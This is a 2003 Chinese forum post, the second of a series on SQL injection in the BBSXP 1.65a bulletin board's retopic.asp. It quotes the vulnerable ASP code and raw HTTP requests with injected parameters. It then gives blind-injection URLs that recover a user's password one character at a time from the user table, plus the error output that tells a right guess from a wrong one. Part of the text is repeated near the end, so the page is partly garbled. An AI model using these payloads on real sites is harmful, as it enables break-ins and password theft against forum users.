请先登录 | 注册 |
MM0759.COM |
■标题:BBSXP漏洞[倒着看二] |
■作者:林子野菇 [2003/8/8 21:23:59] 不得不说,这个BBSXP的缩进实在是混乱,前些天调试retopic.asp的时候,真是把我看得差点把键盘都砸了。简简单单的几个if..then..else..endif跨度大得跟什么似的,看得我头皮发麻,两腿抽筋,最后幸亏editplus里面可以ctrl+],不然真不知道最后要走多少弯路。嗯,伙死了…… retopic.asp行199开始是这样子写的,仍然用老夫的背心打堵,这种程度的漏洞,只有高中生会犯,嘻嘻…… if Request("retopicid")<>"" then sql="select * from reforum where id="&Request("retopicid")&"" rs.Open sql,Conn else sql="select * from forum where ID="&Request("id")&" and forumid="&Request("forumid")&"" rs.Open sql,Conn end if 要一口咬定这个是漏洞,光乱说是不行的。这个地方,我测试了一下,确实有问题,如果大家有时间,可以下一个1.65a版下来看看,很容易利用,当然,如果大家只对方法感兴趣的话,往下面看吧。不过长时间不去思考,脑袋会退化的,:-)。 粗略一看,可以提交retopicid或者提交id和forumid来利用。由分析的结果可以知道,12行到169行是一个大大的if语句,如果进入了这个条件的话,那么会被一个succeed()函数结束掉,所以要绕开这个条件。我们还是从NC过去正常的提交着手,如果你不太清楚过程,请参看这个系列的(一)。 GET /bbsxp/retopic.asp?retopicid=wahahaha HTTP/1.1 Referer: http://localhost/bbsxp/showtopic.asp?id=1&forumid=1&page=0 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: localhost Connection: Keep-Alive Cache-Control: no-cache Cookie: eremite=0; now=2002%2D7%2D3+19%3A24%3A39; onlinetime=2002%2D7%2D3+19%3A18%3A27; username=never; userpass=FuckUSA!!; addmin=0; skins=3; ASPSESSIONIDGGGGGLAG=FKPFCAMCKHEMGDOMCPKKKDIH 出错了,呵呵,返回来的数据有“非法操作”的字样。看看源代码,原来犯了一个错误,forumid没有提交,马上改正!NC过去,提交如下数据: GET /bbsxp/retopic.asp?forumid=1&retopicid=1%20and%201=1 HTTP/1.1 Referer: http://localhost/bbsxp/showtopic.asp?id=1&forumid=1&page=0 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: localhost Connection: Keep-Alive Cache-Control: no-cache Cookie: eremite=0; now=2002%2D7%2D3+19%3A24%3A39; onlinetime=2002%2D7%2D3+19%3A18%3A27; username=never; userpass=FuckUSA!!; addmin=0; skins=3; ASPSESSIONIDGGGGGLAG=FKPFCAMCKHEMGDOMCPKKKDIH 哈哈,注入成功了吧?只要修改retopicid的值就可以慢慢的猜别人的密码了。其实要是提交id和forumid来利用,也是同样的方法,就不继续说了。一句话,写一个perl程序比较好,手工的话,呵呵…… 其实还有一个简单的方法,用提交id和forumid来利用。先到对方的BBSXP注册登陆,这样浏览器就记录了很多东西,我们只要在地址栏里面就可以猜了。为了明明白白的知道是否猜对,我们可以利用一下这一句话: if Request("quote")=1 then content =rs("content") quote="原文由 "&rs("username")&" 发表:"&vbCrlf&""&content&" " end if 我们在提交的地址中包含quote,猜测得正确的话,就可以看到引用的文章,猜错的话,就是500错误。例如: http://localhost/bbsxp/retopic.asp?id=1%20and%201=(select%20count(*)%20from%20user%20where%20username='never'%20and%20right(left(userpass,3),1)='c')&forumid=1"e=1 这个注入的条件是真,也就是说never的密码第三位是c,返回的表单中包含了id为1的文章的内容。如果我的猜测错误,比如这样子: http://localhost/bbsxp/retopic.asp?id=1%20and%201=(select%20count(*)%20from%20user%20where%20username='never'%20and%20right(left(userpass,3),1)='3')&forumid=1"e=1 返回给浏览器的信息就出现了错误,我的机器上是 ADODB.Field 错误 '800a0bcd' BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。 /bbsxp/retopic.asp,行212 呵呵,这是很容易分辨的,而且也很容易实现注入。 顺便说几句话,如果BBSXP的人看到这里的话,强烈建议你们区分开request.form和request.querystring,而不要图方便直接用request。至于原因,你们自己去想吧,呵呵 Control: no-cache Cookie: eremite=0; now=2002%2D7%2D3+19%3A24%3A39; onlinetime=2002%2D7%2D3+19%3A18%3A27; username=never; userpass=FuckUSA!!; addmin=0; skins=3; ASPSESSIONIDGGGGGLAG=FKPFCAMCKHEMGDOMCPKKKDIH 出错了,呵呵,返回来的数据有“非法操作”的字样。看看源代码,原来犯了一个错误,forumid没有提交,马上改正!NC过去,提交如下数据: GET /bbsxp/retopic.asp?forumid=1&retopicid=1%20and%201=1 HTTP/1.1 Referer: http://localhost/bbsxp/showtopic.asp?id=1&forumid=1&page=0 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: localhost Connection: Keep-Alive Cache-Control: no-cache Cookie: eremite=0; now=2002%2D7%2D3+19%3A24%3A39; onlinetime=2002%2D7%2D3+19%3A18%3A27; username=never; userpass=FuckUSA!!; addmin=0; skins=3; ASPSESSIONIDGGGGGLAG=FKPFCAMCKHEMGDOMCPKKKDIH 哈哈,注入成功了吧?只要修改retopicid的值就可以慢慢的猜别人的密码了。其实要是提交id和forumid来利用,也是同样的方法,就不继续说了。一句话,写一个perl程序比较好,手工的 【回复/版区/上篇/下篇/发贴/仅文字/HTML】 |
【倒序/最近21条回复】(暂无) |
(查看完整版网页) |
短讯|首页|登录|算法|电脑版 . DK MiniBBS Plus v2.0 mm0759.com 156 毫秒 . |